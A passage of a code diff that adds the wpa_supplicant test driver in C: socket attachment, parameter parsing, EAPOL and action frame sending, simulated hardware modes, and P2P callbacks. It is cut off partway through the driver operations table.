eloop_register_read_sock(drv->test_socket, + wpa_driver_test_receive_unix, drv, NULL); + + return 0; +#else /* DRIVER_TEST_UNIX */ + return -1; +#endif /* DRIVER_TEST_UNIX */ +} + + +static int wpa_driver_test_attach_udp(struct wpa_driver_test_data *drv, + char *dst) +{ + char *pos; + + pos = os_strchr(dst, ':'); + if (pos == NULL) + return -1; + *pos++ = '\0'; + wpa_printf(MSG_DEBUG, "%s: addr=%s port=%s", __func__, dst, pos); + + drv->test_socket = socket(PF_INET, SOCK_DGRAM, 0); + if (drv->test_socket < 0) { + perror("socket(PF_INET)"); + return -1; + } + + os_memset(&drv->hostapd_addr_udp, 0, sizeof(drv->hostapd_addr_udp)); + drv->hostapd_addr_udp.sin_family = AF_INET; +#if defined(CONFIG_NATIVE_WINDOWS) || defined(CONFIG_ANSI_C_EXTRA) + { + int a[4]; + u8 *pos; + sscanf(dst, "%d.%d.%d.%d", &a[0], &a[1], &a[2], &a[3]); + pos = (u8 *) &drv->hostapd_addr_udp.sin_addr; + *pos++ = a[0]; + *pos++ = a[1]; + *pos++ = a[2]; + *pos++ = a[3]; + } +#else /* CONFIG_NATIVE_WINDOWS or CONFIG_ANSI_C_EXTRA */ + inet_aton(dst, &drv->hostapd_addr_udp.sin_addr); +#endif /* CONFIG_NATIVE_WINDOWS or CONFIG_ANSI_C_EXTRA */ + drv->hostapd_addr_udp.sin_port = htons(atoi(pos)); + + drv->hostapd_addr_udp_set = 1; + + eloop_register_read_sock(drv->test_socket, + wpa_driver_test_receive_unix, drv, NULL); + + return 0; +} + + +static int wpa_driver_test_set_param(void *priv, const char *param) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + const char *pos; + + wpa_printf(MSG_DEBUG, "%s: param='%s'", __func__, param); + if (param == NULL) + return 0; + + wpa_driver_test_close_test_socket(drv); + +#ifdef DRIVER_TEST_UNIX + pos = os_strstr(param, "test_socket="); + if (pos) { + const char *pos2; + size_t len; + + pos += 12; + pos2 = os_strchr(pos, ' '); + if (pos2) + len = pos2 - pos; + else + len = os_strlen(pos); + if (len > sizeof(drv->hostapd_addr.sun_path)) + return -1; + os_memset(&drv->hostapd_addr, 0, sizeof(drv->hostapd_addr)); + drv->hostapd_addr.sun_family = AF_UNIX; + os_memcpy(drv->hostapd_addr.sun_path, pos, len); + drv->hostapd_addr_set = 1; + } +#endif /* DRIVER_TEST_UNIX */ + + pos = os_strstr(param, "test_dir="); + if (pos) { + char *end; + os_free(drv->test_dir); + drv->test_dir = os_strdup(pos + 9); + if (drv->test_dir == NULL) + return -1; + end = os_strchr(drv->test_dir, ' '); + if (end) + *end = '\0'; + if (wpa_driver_test_attach(drv, drv->test_dir, 0)) + return -1; + } else { + pos = os_strstr(param, "test_udp="); + if (pos) { + char *dst, *epos; + dst = os_strdup(pos + 9); + if (dst == NULL) + return -1; + epos = os_strchr(dst, ' '); + if (epos) + *epos = '\0'; + if (wpa_driver_test_attach_udp(drv, dst)) + return -1; + os_free(dst); + } else if (wpa_driver_test_attach(drv, NULL, 0)) + return -1; + } + + if (os_strstr(param, "use_associnfo=1")) { + wpa_printf(MSG_DEBUG, "test_driver: Use AssocInfo events"); + drv->use_associnfo = 1; + } + + if (os_strstr(param, "p2p_mgmt=1")) { + wpa_printf(MSG_DEBUG, "test_driver: Use internal P2P " + "management"); + if (wpa_driver_test_init_p2p(drv) < 0) + return -1; + } + + return 0; +} + + +static const u8 * wpa_driver_test_get_mac_addr(void *priv) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s", __func__); + return drv->own_addr; +} + + +static int wpa_driver_test_send_eapol(void *priv, const u8 *dest, u16 proto, + const u8 *data, size_t data_len) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + char *msg; + size_t msg_len; + struct l2_ethhdr eth; + struct sockaddr *addr; + socklen_t alen; +#ifdef DRIVER_TEST_UNIX + struct sockaddr_un addr_un; +#endif /* DRIVER_TEST_UNIX */ + + wpa_hexdump(MSG_MSGDUMP, "test_send_eapol TX frame", data, data_len); + + os_memset(ð, 0, sizeof(eth)); + os_memcpy(eth.h_dest, dest, ETH_ALEN); + os_memcpy(eth.h_source, drv->own_addr, ETH_ALEN); + eth.h_proto = host_to_be16(proto); + + msg_len = 6 + sizeof(eth) + data_len; + msg = os_malloc(msg_len); + if (msg == NULL) + return -1; + os_memcpy(msg, "EAPOL ", 6); + os_memcpy(msg + 6, ð, sizeof(eth)); + os_memcpy(msg + 6 + sizeof(eth), data, data_len); + + if (os_memcmp(dest, dbss->bssid, ETH_ALEN) == 0 || + drv->test_dir == NULL) { + if (drv->hostapd_addr_udp_set) { + addr = (struct sockaddr *) &drv->hostapd_addr_udp; + alen = sizeof(drv->hostapd_addr_udp); + } else { +#ifdef DRIVER_TEST_UNIX + addr = (struct sockaddr *) &drv->hostapd_addr; + alen = sizeof(drv->hostapd_addr); +#else /* DRIVER_TEST_UNIX */ + os_free(msg); + return -1; +#endif /* DRIVER_TEST_UNIX */ + } + } else { +#ifdef DRIVER_TEST_UNIX + struct stat st; + os_memset(&addr_un, 0, sizeof(addr_un)); + addr_un.sun_family = AF_UNIX; + os_snprintf(addr_un.sun_path, sizeof(addr_un.sun_path), + "%s/STA-" MACSTR, drv->test_dir, MAC2STR(dest)); + if (stat(addr_un.sun_path, &st) < 0) { + os_snprintf(addr_un.sun_path, sizeof(addr_un.sun_path), + "%s/AP-" MACSTR, + drv->test_dir, MAC2STR(dest)); + } + addr = (struct sockaddr *) &addr_un; + alen = sizeof(addr_un); +#else /* DRIVER_TEST_UNIX */ + os_free(msg); + return -1; +#endif /* DRIVER_TEST_UNIX */ + } + + if (sendto(drv->test_socket, msg, msg_len, 0, addr, alen) < 0) { + perror("sendmsg(test_socket)"); + os_free(msg); + return -1; + } + + os_free(msg); + return 0; +} + + +static int wpa_driver_test_get_capa(void *priv, struct wpa_driver_capa *capa) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + os_memset(capa, 0, sizeof(*capa)); + capa->key_mgmt = WPA_DRIVER_CAPA_KEY_MGMT_WPA | + WPA_DRIVER_CAPA_KEY_MGMT_WPA2 | + WPA_DRIVER_CAPA_KEY_MGMT_WPA_PSK | + WPA_DRIVER_CAPA_KEY_MGMT_WPA2_PSK | + WPA_DRIVER_CAPA_KEY_MGMT_WPA_NONE | + WPA_DRIVER_CAPA_KEY_MGMT_FT | + WPA_DRIVER_CAPA_KEY_MGMT_FT_PSK; + capa->enc = WPA_DRIVER_CAPA_ENC_WEP40 | + WPA_DRIVER_CAPA_ENC_WEP104 | + WPA_DRIVER_CAPA_ENC_TKIP | + WPA_DRIVER_CAPA_ENC_CCMP; + capa->auth = WPA_DRIVER_AUTH_OPEN | + WPA_DRIVER_AUTH_SHARED | + WPA_DRIVER_AUTH_LEAP; + if (drv->p2p) + capa->flags |= WPA_DRIVER_FLAGS_P2P_MGMT; + capa->flags |= WPA_DRIVER_FLAGS_AP; + capa->flags |= WPA_DRIVER_FLAGS_P2P_CONCURRENT; + capa->flags |= WPA_DRIVER_FLAGS_P2P_DEDICATED_INTERFACE; + capa->flags |= WPA_DRIVER_FLAGS_P2P_CAPABLE; + capa->max_scan_ssids = 2; + capa->max_remain_on_chan = 60000; + + return 0; +} + + +static int wpa_driver_test_mlme_setprotection(void *priv, const u8 *addr, + int protect_type, + int key_type) +{ + wpa_printf(MSG_DEBUG, "%s: protect_type=%d key_type=%d", + __func__, protect_type, key_type); + + if (addr) { + wpa_printf(MSG_DEBUG, "%s: addr=" MACSTR, + __func__, MAC2STR(addr)); + } + + return 0; +} + + +static void * wpa_driver_test_global_init(void) +{ + struct wpa_driver_test_global *global; + + global = os_zalloc(sizeof(*global)); + return global; +} + + +static void wpa_driver_test_global_deinit(void *priv) +{ + struct wpa_driver_test_global *global = priv; + os_free(global); +} + + +static struct wpa_interface_info * +wpa_driver_test_get_interfaces(void *global_priv) +{ + /* struct wpa_driver_test_global *global = priv; */ + struct wpa_interface_info *iface; + + iface = os_zalloc(sizeof(*iface)); + if (iface == NULL) + return iface; + iface->ifname = os_strdup("sta0"); + iface->desc = os_strdup("test interface 0"); + iface->drv_name = "test"; + iface->next = os_zalloc(sizeof(*iface)); + if (iface->next) { + iface->next->ifname = os_strdup("sta1"); + iface->next->desc = os_strdup("test interface 1"); + iface->next->drv_name = "test"; + } + + return iface; +} + + +static struct hostapd_hw_modes * +wpa_driver_test_get_hw_feature_data(void *priv, u16 *num_modes, u16 *flags) +{ + struct hostapd_hw_modes *modes; + size_t i; + + *num_modes = 3; + *flags = 0; + modes = os_calloc(*num_modes, sizeof(struct hostapd_hw_modes)); + if (modes == NULL) + return NULL; + modes[0].mode = HOSTAPD_MODE_IEEE80211G; + modes[0].num_channels = 11; + modes[0].num_rates = 12; + modes[0].channels = os_calloc(11, sizeof(struct hostapd_channel_data)); + modes[0].rates = os_calloc(modes[0].num_rates, sizeof(int)); + if (modes[0].channels == NULL || modes[0].rates == NULL) + goto fail; + for (i = 0; i < 11; i++) { + modes[0].channels[i].chan = i + 1; + modes[0].channels[i].freq = 2412 + 5 * i; + modes[0].channels[i].flag = 0; + } + modes[0].rates[0] = 10; + modes[0].rates[1] = 20; + modes[0].rates[2] = 55; + modes[0].rates[3] = 110; + modes[0].rates[4] = 60; + modes[0].rates[5] = 90; + modes[0].rates[6] = 120; + modes[0].rates[7] = 180; + modes[0].rates[8] = 240; + modes[0].rates[9] = 360; + modes[0].rates[10] = 480; + modes[0].rates[11] = 540; + + modes[1].mode = HOSTAPD_MODE_IEEE80211B; + modes[1].num_channels = 11; + modes[1].num_rates = 4; + modes[1].channels = os_calloc(11, sizeof(struct hostapd_channel_data)); + modes[1].rates = os_calloc(modes[1].num_rates, sizeof(int)); + if (modes[1].channels == NULL || modes[1].rates == NULL) + goto fail; + for (i = 0; i < 11; i++) { + modes[1].channels[i].chan = i + 1; + modes[1].channels[i].freq = 2412 + 5 * i; + modes[1].channels[i].flag = 0; + } + modes[1].rates[0] = 10; + modes[1].rates[1] = 20; + modes[1].rates[2] = 55; + modes[1].rates[3] = 110; + + modes[2].mode = HOSTAPD_MODE_IEEE80211A; + modes[2].num_channels = 1; + modes[2].num_rates = 8; + modes[2].channels = os_calloc(1, sizeof(struct hostapd_channel_data)); + modes[2].rates = os_calloc(modes[2].num_rates, sizeof(int)); + if (modes[2].channels == NULL || modes[2].rates == NULL) + goto fail; + modes[2].channels[0].chan = 60; + modes[2].channels[0].freq = 5300; + modes[2].channels[0].flag = 0; + modes[2].rates[0] = 60; + modes[2].rates[1] = 90; + modes[2].rates[2] = 120; + modes[2].rates[3] = 180; + modes[2].rates[4] = 240; + modes[2].rates[5] = 360; + modes[2].rates[6] = 480; + modes[2].rates[7] = 540; + + return modes; + +fail: + if (modes) { + for (i = 0; i < *num_modes; i++) { + os_free(modes[i].channels); + os_free(modes[i].rates); + } + os_free(modes); + } + return NULL; +} + + +static int wpa_driver_test_set_freq(void *priv, + struct hostapd_freq_params *freq) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "test: set_freq %u MHz", freq->freq); + drv->current_freq = freq->freq; + return 0; +} + + +static int wpa_driver_test_send_action(void *priv, unsigned int freq, + unsigned int wait, + const u8 *dst, const u8 *src, + const u8 *bssid, + const u8 *data, size_t data_len, + int no_cck) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + int ret = -1; + u8 *buf; + struct ieee80211_hdr *hdr; + + wpa_printf(MSG_DEBUG, "test: Send Action frame"); + + if ((drv->remain_on_channel_freq && + freq != drv->remain_on_channel_freq) || + (drv->remain_on_channel_freq == 0 && + freq != (unsigned int) drv->current_freq)) { + wpa_printf(MSG_DEBUG, "test: Reject Action frame TX on " + "unexpected channel: freq=%u MHz (current_freq=%u " + "MHz, remain-on-channel freq=%u MHz)", + freq, drv->current_freq, + drv->remain_on_channel_freq); + return -1; + } + + buf = os_zalloc(24 + data_len); + if (buf == NULL) + return ret; + os_memcpy(buf + 24, data, data_len); + hdr = (struct ieee80211_hdr *) buf; + hdr->frame_control = + IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_ACTION); + os_memcpy(hdr->addr1, dst, ETH_ALEN); + os_memcpy(hdr->addr2, src, ETH_ALEN); + os_memcpy(hdr->addr3, bssid, ETH_ALEN); + + ret = wpa_driver_test_send_mlme(priv, buf, 24 + data_len, 0); + os_free(buf); + return ret; +} + + +#ifdef CONFIG_P2P +static void test_send_action_cb(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_driver_test_data *drv = eloop_ctx; + + if (drv->pending_action_tx == NULL) + return; + + if (drv->off_channel_freq != drv->pending_action_freq) { + wpa_printf(MSG_DEBUG, "P2P: Pending Action frame TX " + "waiting for another freq=%u", + drv->pending_action_freq); + return; + } + wpa_printf(MSG_DEBUG, "P2P: Sending pending Action frame to " + MACSTR, MAC2STR(drv->pending_action_dst)); + wpa_driver_test_send_action(drv, drv->pending_action_freq, 0, + drv->pending_action_dst, + drv->pending_action_src, + drv->pending_action_bssid, + wpabuf_head(drv->pending_action_tx), + wpabuf_len(drv->pending_action_tx), + drv->pending_action_no_cck); +} +#endif /* CONFIG_P2P */ + + +static void test_remain_on_channel_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_driver_test_data *drv = eloop_ctx; + union wpa_event_data data; + + wpa_printf(MSG_DEBUG, "test: Remain-on-channel timeout"); + + os_memset(&data, 0, sizeof(data)); + data.remain_on_channel.freq = drv->remain_on_channel_freq; + data.remain_on_channel.duration = drv->remain_on_channel_duration; + + if (drv->p2p) + drv->off_channel_freq = 0; + + drv->remain_on_channel_freq = 0; + + wpa_supplicant_event(drv->ctx, EVENT_CANCEL_REMAIN_ON_CHANNEL, &data); +} + + +static int wpa_driver_test_remain_on_channel(void *priv, unsigned int freq, + unsigned int duration) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + union wpa_event_data data; + + wpa_printf(MSG_DEBUG, "%s(freq=%u, duration=%u)", + __func__, freq, duration); + if (drv->remain_on_channel_freq && + drv->remain_on_channel_freq != freq) { + wpa_printf(MSG_DEBUG, "test: Refuse concurrent " + "remain_on_channel request"); + return -1; + } + + drv->remain_on_channel_freq = freq; + drv->remain_on_channel_duration = duration; + eloop_cancel_timeout(test_remain_on_channel_timeout, drv, NULL); + eloop_register_timeout(duration / 1000, (duration % 1000) * 1000, + test_remain_on_channel_timeout, drv, NULL); + + os_memset(&data, 0, sizeof(data)); + data.remain_on_channel.freq = freq; + data.remain_on_channel.duration = duration; + wpa_supplicant_event(drv->ctx, EVENT_REMAIN_ON_CHANNEL, &data); + +#ifdef CONFIG_P2P + if (drv->p2p) { + drv->off_channel_freq = drv->remain_on_channel_freq; + test_send_action_cb(drv, NULL); + if (drv->off_channel_freq == drv->pending_listen_freq) { + p2p_listen_cb(drv->p2p, drv->pending_listen_freq, + drv->pending_listen_duration); + drv->pending_listen_freq = 0; + } + } +#endif /* CONFIG_P2P */ + + return 0; +} + + +static int wpa_driver_test_cancel_remain_on_channel(void *priv) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s", __func__); + if (!drv->remain_on_channel_freq) + return -1; + drv->remain_on_channel_freq = 0; + eloop_cancel_timeout(test_remain_on_channel_timeout, drv, NULL); + return 0; +} + + +static int wpa_driver_test_probe_req_report(void *priv, int report) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s(report=%d)", __func__, report); + drv->probe_req_report = report; + return 0; +} + + +#ifdef CONFIG_P2P + +static int wpa_driver_test_p2p_find(void *priv, unsigned int timeout, int type) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s(timeout=%u)", __func__, timeout); + if (!drv->p2p) + return -1; + return p2p_find(drv->p2p, timeout, type, 0, NULL, NULL, 0); +} + + +static int wpa_driver_test_p2p_stop_find(void *priv) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s", __func__); + if (!drv->p2p) + return -1; + p2p_stop_find(drv->p2p); + return 0; +} + + +static int wpa_driver_test_p2p_listen(void *priv, unsigned int timeout) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s(timeout=%u)", __func__, timeout); + if (!drv->p2p) + return -1; + return p2p_listen(drv->p2p, timeout); +} + + +static int wpa_driver_test_p2p_connect(void *priv, const u8 *peer_addr, + int wps_method, int go_intent, + const u8 *own_interface_addr, + unsigned int force_freq, + int persistent_group) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s(peer_addr=" MACSTR " wps_method=%d " + "go_intent=%d " + "own_interface_addr=" MACSTR " force_freq=%u " + "persistent_group=%d)", + __func__, MAC2STR(peer_addr), wps_method, go_intent, + MAC2STR(own_interface_addr), force_freq, persistent_group); + if (!drv->p2p) + return -1; + return p2p_connect(drv->p2p, peer_addr, wps_method, go_intent, + own_interface_addr, force_freq, persistent_group, + NULL, 0, 0, 0); +} + + +static int wpa_driver_test_wps_success_cb(void *priv, const u8 *peer_addr) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s(peer_addr=" MACSTR ")", + __func__, MAC2STR(peer_addr)); + if (!drv->p2p) + return -1; + p2p_wps_success_cb(drv->p2p, peer_addr); + return 0; +} + + +static int wpa_driver_test_p2p_group_formation_failed(void *priv) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s", __func__); + if (!drv->p2p) + return -1; + p2p_group_formation_failed(drv->p2p); + return 0; +} + + +static int wpa_driver_test_p2p_set_params(void *priv, + const struct p2p_params *params) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s", __func__); + if (!drv->p2p) + return -1; + if (p2p_set_dev_name(drv->p2p, params->dev_name) < 0 || + p2p_set_pri_dev_type(drv->p2p, params->pri_dev_type) < 0 || + p2p_set_sec_dev_types(drv->p2p, params->sec_dev_type, + params->num_sec_dev_types) < 0) + return -1; + return 0; +} + + +static int test_p2p_scan(void *ctx, enum p2p_scan_type type, int freq, + unsigned int num_req_dev_types, + const u8 *req_dev_types, const u8 *dev_id, u16 pw_id) +{ + struct wpa_driver_test_data *drv = ctx; + struct wpa_driver_scan_params params; + int ret; + struct wpabuf *wps_ie, *ies; + int social_channels[] = { 2412, 2437, 2462, 0, 0 }; + size_t ielen; + + wpa_printf(MSG_DEBUG, "%s(type=%d freq=%d)", + __func__, type, freq); + + os_memset(¶ms, 0, sizeof(params)); + + /* P2P Wildcard SSID */ + params.num_ssids = 1; + params.ssids[0].ssid = (u8 *) P2P_WILDCARD_SSID; + params.ssids[0].ssid_len = P2P_WILDCARD_SSID_LEN; + +#if 0 /* TODO: WPS IE */ + wpa_s->wps->dev.p2p = 1; + wps_ie = wps_build_probe_req_ie(pw_id, &wpa_s->wps->dev, + wpa_s->wps->uuid, WPS_REQ_ENROLLEE); +#else + wps_ie = wpabuf_alloc(1); +#endif + if (wps_ie == NULL) + return -1; + + ielen = p2p_scan_ie_buf_len(drv->p2p); + ies = wpabuf_alloc(wpabuf_len(wps_ie) + ielen); + if (ies == NULL) { + wpabuf_free(wps_ie); + return -1; + } + wpabuf_put_buf(ies, wps_ie); + wpabuf_free(wps_ie); + + p2p_scan_ie(drv->p2p, ies, dev_id); + + params.extra_ies = wpabuf_head(ies); + params.extra_ies_len = wpabuf_len(ies); + + switch (type) { + case P2P_SCAN_SOCIAL: + params.freqs = social_channels; + break; + case P2P_SCAN_FULL: + break; + case P2P_SCAN_SOCIAL_PLUS_ONE: + social_channels[3] = freq; + params.freqs = social_channels; + break; + } + + drv->pending_p2p_scan = 1; + ret = wpa_driver_test_scan(drv, ¶ms); + + wpabuf_free(ies); + + return ret; +} + + +static int test_send_action(void *ctx, unsigned int freq, const u8 *dst, + const u8 *src, const u8 *bssid, const u8 *buf, + size_t len, unsigned int wait_time) +{ + struct wpa_driver_test_data *drv = ctx; + + wpa_printf(MSG_DEBUG, "%s(freq=%u dst=" MACSTR " src=" MACSTR + " bssid=" MACSTR " len=%d", + __func__, freq, MAC2STR(dst), MAC2STR(src), MAC2STR(bssid), + (int) len); + if (freq <= 0) { + wpa_printf(MSG_WARNING, "P2P: No frequency specified for " + "action frame TX"); + return -1; + } + + if (drv->pending_action_tx) { + wpa_printf(MSG_DEBUG, "P2P: Dropped pending Action frame TX " + "to " MACSTR, MAC2STR(drv->pending_action_dst)); + wpabuf_free(drv->pending_action_tx); + } + drv->pending_action_tx = wpabuf_alloc(len); + if (drv->pending_action_tx == NULL) + return -1; + wpabuf_put_data(drv->pending_action_tx, buf, len); + os_memcpy(drv->pending_action_src, src, ETH_ALEN); + os_memcpy(drv->pending_action_dst, dst, ETH_ALEN); + os_memcpy(drv->pending_action_bssid, bssid, ETH_ALEN); + drv->pending_action_freq = freq; + drv->pending_action_no_cck = 1; + + if (drv->off_channel_freq == freq) { + /* Already on requested channel; send immediately */ + /* TODO: Would there ever be need to extend the current + * duration on the channel? */ + eloop_cancel_timeout(test_send_action_cb, drv, NULL); + eloop_register_timeout(0, 0, test_send_action_cb, drv, NULL); + return 0; + } + + wpa_printf(MSG_DEBUG, "P2P: Schedule Action frame to be transmitted " + "once the driver gets to the requested channel"); + if (wpa_driver_test_remain_on_channel(drv, freq, wait_time) < 0) { + wpa_printf(MSG_DEBUG, "P2P: Failed to request driver " + "to remain on channel (%u MHz) for Action " + "Frame TX", freq); + return -1; + } + + return 0; +} + + +static void test_send_action_done(void *ctx) +{ + wpa_printf(MSG_DEBUG, "%s", __func__); + /* TODO */ +} + + +static void test_go_neg_completed(void *ctx, struct p2p_go_neg_results *res) +{ + struct wpa_driver_test_data *drv = ctx; + union wpa_event_data event; + wpa_printf(MSG_DEBUG, "%s", __func__); + os_memset(&event, 0, sizeof(event)); + event.p2p_go_neg_completed.res = res; + wpa_supplicant_event(drv->ctx, EVENT_P2P_GO_NEG_COMPLETED, &event); +} + + +static void test_go_neg_req_rx(void *ctx, const u8 *src, u16 dev_passwd_id) +{ + struct wpa_driver_test_data *drv = ctx; + union wpa_event_data event; + wpa_printf(MSG_DEBUG, "%s(src=" MACSTR ")", __func__, MAC2STR(src)); + os_memset(&event, 0, sizeof(event)); + event.p2p_go_neg_req_rx.src = src; + event.p2p_go_neg_req_rx.dev_passwd_id = dev_passwd_id; + wpa_supplicant_event(drv->ctx, EVENT_P2P_GO_NEG_REQ_RX, &event); +} + + +static void test_dev_found(void *ctx, const u8 *addr, + const struct p2p_peer_info *info, int new_device) +{ + struct wpa_driver_test_data *drv = ctx; + union wpa_event_data event; + char devtype[WPS_DEV_TYPE_BUFSIZE]; + wpa_printf(MSG_DEBUG, "%s(" MACSTR " p2p_dev_addr=" MACSTR + " pri_dev_type=%s name='%s' config_methods=0x%x " + "dev_capab=0x%x group_capab=0x%x)", + __func__, MAC2STR(addr), MAC2STR(info->p2p_device_addr), + wps_dev_type_bin2str(info->pri_dev_type, devtype, + sizeof(devtype)), + info->device_name, info->config_methods, info->dev_capab, + info->group_capab); + + os_memset(&event, 0, sizeof(event)); + event.p2p_dev_found.addr = addr; + event.p2p_dev_found.dev_addr = info->p2p_device_addr; + event.p2p_dev_found.pri_dev_type = info->pri_dev_type; + event.p2p_dev_found.dev_name = info->device_name; + event.p2p_dev_found.config_methods = info->config_methods; + event.p2p_dev_found.dev_capab = info->dev_capab; + event.p2p_dev_found.group_capab = info->group_capab; + wpa_supplicant_event(drv->ctx, EVENT_P2P_DEV_FOUND, &event); +} + + +static int test_start_listen(void *ctx, unsigned int freq, + unsigned int duration, + const struct wpabuf *probe_resp_ie) +{ + struct wpa_driver_test_data *drv = ctx; + + wpa_printf(MSG_DEBUG, "%s(freq=%u duration=%u)", + __func__, freq, duration); + + if (wpa_driver_test_probe_req_report(drv, 1) < 0) + return -1; + + drv->pending_listen_freq = freq; + drv->pending_listen_duration = duration; + + if (wpa_driver_test_remain_on_channel(drv, freq, duration) < 0) { + drv->pending_listen_freq = 0; + return -1; + } + + return 0; +} + + +static void test_stop_listen(void *ctx) +{ + wpa_printf(MSG_DEBUG, "%s", __func__); + /* TODO */ +} + + +static int test_send_probe_resp(void *ctx, const struct wpabuf *buf) +{ + struct wpa_driver_test_data *drv = ctx; + char resp[512], *pos, *end; + int ret; + const struct ieee80211_mgmt *mgmt; + const u8 *ie, *ie_end; + + wpa_printf(MSG_DEBUG, "%s", __func__); + wpa_hexdump_buf(MSG_MSGDUMP, "Probe Response", buf); + if (wpabuf_len(buf) < 24) + return -1; + if (!drv->probe_from) { + wpa_printf(MSG_DEBUG, "%s: probe_from not set", __func__); + return -1; + } + + pos = resp; + end = resp + sizeof(resp); + + mgmt = wpabuf_head(buf); + + /* reply: SCANRESP BSSID SSID IEs */ + ret = os_snprintf(pos, end - pos, "SCANRESP " MACSTR " ", + MAC2STR(mgmt->bssid)); + if (ret < 0 || ret >= end - pos) + return -1; + pos += ret; + + ie = mgmt->u.probe_resp.variable; + ie_end = wpabuf_head_u8(buf) + wpabuf_len(buf); + if (ie_end - ie < 2 || ie[0] != WLAN_EID_SSID || + ie + 2 + ie[1] > ie_end) + return -1; + pos += wpa_snprintf_hex(pos, end - pos, ie + 2, ie[1]); + + ret = os_snprintf(pos, end - pos, " "); + if (ret < 0 || ret >= end - pos) + return -1; + pos += ret; + pos += wpa_snprintf_hex(pos, end - pos, ie, ie_end - ie); + + sendto(drv->test_socket, resp, pos - resp, 0, + drv->probe_from, drv->probe_from_len); + + return 0; +} + + +static void test_sd_request(void *ctx, int freq, const u8 *sa, u8 dialog_token, + u16 update_indic, const u8 *tlvs, size_t tlvs_len) +{ + wpa_printf(MSG_DEBUG, "%s", __func__); + /* TODO */ +} + + +static void test_sd_response(void *ctx, const u8 *sa, u16 update_indic, + const u8 *tlvs, size_t tlvs_len) +{ + wpa_printf(MSG_DEBUG, "%s", __func__); + /* TODO */ +} + + +static void test_prov_disc_req(void *ctx, const u8 *peer, u16 config_methods, + const u8 *dev_addr, const u8 *pri_dev_type, + const char *dev_name, u16 supp_config_methods, + u8 dev_capab, u8 group_capab, + const u8 *group_id, size_t group_id_len) +{ + wpa_printf(MSG_DEBUG, "%s(peer=" MACSTR " config_methods=0x%x)", + __func__, MAC2STR(peer), config_methods); + /* TODO */ +} + + +static void test_prov_disc_resp(void *ctx, const u8 *peer, u16 config_methods) +{ + wpa_printf(MSG_DEBUG, "%s(peer=" MACSTR " config_methods=0x%x)", + __func__, MAC2STR(peer), config_methods); + /* TODO */ +} + + +static void test_p2p_debug_print(void *ctx, int level, const char *msg) +{ + wpa_printf(level, "P2P: %s", msg); +} + +#endif /* CONFIG_P2P */ + + +static int wpa_driver_test_init_p2p(struct wpa_driver_test_data *drv) +{ +#ifdef CONFIG_P2P + struct p2p_config p2p; + unsigned int r; + int i; + + os_memset(&p2p, 0, sizeof(p2p)); + p2p.cb_ctx = drv; + p2p.debug_print = test_p2p_debug_print; + p2p.p2p_scan = test_p2p_scan; + p2p.send_action = test_send_action; + p2p.send_action_done = test_send_action_done; + p2p.go_neg_completed = test_go_neg_completed; + p2p.go_neg_req_rx = test_go_neg_req_rx; + p2p.dev_found = test_dev_found; + p2p.start_listen = test_start_listen; + p2p.stop_listen = test_stop_listen; + p2p.send_probe_resp = test_send_probe_resp; + p2p.sd_request = test_sd_request; + p2p.sd_response = test_sd_response; + p2p.prov_disc_req = test_prov_disc_req; + p2p.prov_disc_resp = test_prov_disc_resp; + + os_memcpy(p2p.dev_addr, drv->own_addr, ETH_ALEN); + + p2p.reg_class = 12; /* TODO: change depending on location */ + /* + * Pick one of the social channels randomly as the listen + * channel. + */ + os_get_random((u8 *) &r, sizeof(r)); + p2p.channel = 1 + (r % 3) * 5; + + /* TODO: change depending on location */ + p2p.op_reg_class = 12; + /* + * For initial tests, pick the operation channel randomly. + * TODO: Use scan results (etc.) to select the best channel. + */ + p2p.op_channel = 1 + r % 11; + + os_memcpy(p2p.country, "US ", 3); + + /* FIX: fetch available channels from the driver */ + p2p.channels.reg_classes = 1; + p2p.channels.reg_class[0].reg_class = 12; /* US/12 = 2.4 GHz band */ + p2p.channels.reg_class[0].channels = 11; + for (i = 0; i < 11; i++) + p2p.channels.reg_class[0].channel[i] = i + 1; + + p2p.max_peers = 100; + + drv->p2p = p2p_init(&p2p); + if (drv->p2p == NULL) + return -1; + return 0; +#else /* CONFIG_P2P */ + wpa_printf(MSG_INFO, "driver_test: P2P support not included"); + return -1; +#endif /* CONFIG_P2P */ +} + + +const struct wpa_driver_ops wpa_driver_test_ops = { + "test", + "wpa_supplicant test driver", + .hapd_init = test_driver_init, + .hapd_deinit = wpa_driver_test_deinit, + .hapd_send_eapol = test_driver_send_eapol, + .send_mlme = wpa_driver_test_send_mlme, + .set_generic_elem = test_driver_set_generic_elem, + .sta_deauth = test_driver_sta_deauth, + .sta_disassoc = test_driver_sta_disassoc, + .get_hw_feature_data = wpa_driver_test_get_hw_feature_data, + .if_add = test_driver_if_add, + .if_remove = test_driver_if_remove, + 